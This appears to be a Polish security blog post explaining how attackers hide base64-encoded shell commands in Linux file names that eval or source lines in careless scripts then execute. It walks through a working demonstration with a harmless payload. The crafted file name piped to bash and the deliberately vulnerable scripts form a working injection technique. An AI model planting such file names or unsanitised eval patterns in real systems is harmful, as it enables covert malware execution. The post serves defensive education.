Szkodliwe polecenia ukryte w nazwie pliku
Napisał: Patryk Krawaczyński
Wczoraj w Ataki Internetowe, Bezpieczeństwo Możliwość komentowania Szkodliwe polecenia ukryte w nazwie pliku została wyłączona
O
statnio firma Trellix trafiła na ciekawy atak wymierzony w system Linux. Ponownie tyczy się on metadanych pliku, a dokładniej jego nazwy. Ze względu na fakt, że programy antywirusowe zazwyczaj nie analizują nazw plików atakujący postanowili umieścić w nim polecenia powłoki, aby ściągnąć i uruchomić kolejną fazę ataku. Dzięki prostemu wykorzystaniu techniki wstrzyknięcia polecenia do powłoki (ang. shell command injection) atakujący może zamienić operację na nazwie pliku w automatyczny wyzwalacz wykonania pierwszej fazy infekcji złośliwym oprogramowaniem. Technika ta nadużywa bardzo powszechnego i niebezpiecznego wzorca w wielu skryptach powłoki systemu Linux, a mianowicie: analizę lub wyświetlanie nazw plików bez ich sanitacji (procesu oczyszczania danych wejściowych z potencjalnie niebezpiecznych elementów). Z pozoru nieszkodliwe polecenie, takie jak eval
lub source
niepoprawnie użyte w skrypcie może nagle stać się wyzwalaczem dla pełnej kompromitacji systemu. Na początku zakodujmy w Base64 nasz własny ładunek, który będzie mógł zostać bezpiecznie wykonany na demonstracyjnym systemie:
agresor@darkstar:~$ base64 <<< 'touch /tmp/payload_executed' dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==
Następnie tworzymy plik zawierający w nazwie szkodliwe polecenia:
touch 'malware.pdf`{echo,dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==}|{base64,-d}|bash`'
Po frazie malware.pdf następuje składnia, która może być interpretowana przez powłokę: {echo,...}
- przekazuje ładunek w formacie Base64 do standardowego wyjścia; {base64,-d}
- dekoduje ładunek; |bash
- zdekodowany ładunek w postaci polecenia lub poleceń zostaje przekazany przez potok do wykonania w powłoce. Teraz już wiemy dlaczego jego nazwa może działać jako wyzwalacz ładunku. Plik z taką nazwą może zostać przetworzony bez wiedzy użytkownika przez źle skonstruowany skrypt powłoki (np. w celu zautomatyzowania prostych czynności) tym samym dyskretnie wykonać złośliwy kod. Przykład:
agresor@darkstar:~$ ls execute_file1.sh execute_file2.sh 'malware.pdf`{echo,dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==}|{base64,-d}|bash`' agresor@darkstar:~$ cat execute_file1.sh #!/bin/bash filename=$1 echo "Processing file: $filename" # trigger1 eval "echo $filename" agresor@darkstar:~$ cat execute_file2.sh #!/bin/bash filename=$1 echo "Processing file: $filename" # trigger2 source <(echo "$filename") agresor@darkstar:~$ ls /tmp
Jeśli wykonamy teraz dowolny skrypt z nieprzemyślaną składnią poleceń (eval
/ source
) to ładunek z nazwy pliku zostanie wykonany:
agresor@darkstar:~$ ./execute_file1.sh malware.pdf\`\{echo\,...}\|\{base64\,-d\}\|bash\` Processing file: malware.pdf`{echo,dG91Y2ggL3RtcC9...X2V4ZWN1dGVkCg==}|{base64,-d}|bash` malware.pdf agresor@darkstar:~$ ls /tmp payload_executed agresor@darkstar:~$ rm /tmp/payload_executed agresor@darkstar:~$ ./execute_file2.sh malware.pdf\`\{echo\,...}\|\{base64\,-d\}\|bash\` Processing file: malware.pdf`{echo,dG91Y2ggL3RtcC9...X2V4ZWN1dGVkCg==}|{base64,-d}|bash` /dev/fd/63: line 1: malware.pdf: command not found agresor@darkstar:~$ ls /tmp payload_executed
Technika ta pokazuje, jak wektory o niskiej złożoności mogą prowadzić do poważnych zagrożeń w połączeniu z prostą logiką powłoki poleceń. Nawet w systemie Linux nieprzemyślane procesowanie nazw plików może zostać wykorzystane do wykonania (wstrzyknięcia) poleceń, które nie są częścią oryginalnego skryptu lub zaplanowanego zadania.
Więcej informacji: The Silent, Fileless Threat of VShell
Ostatni komentarz :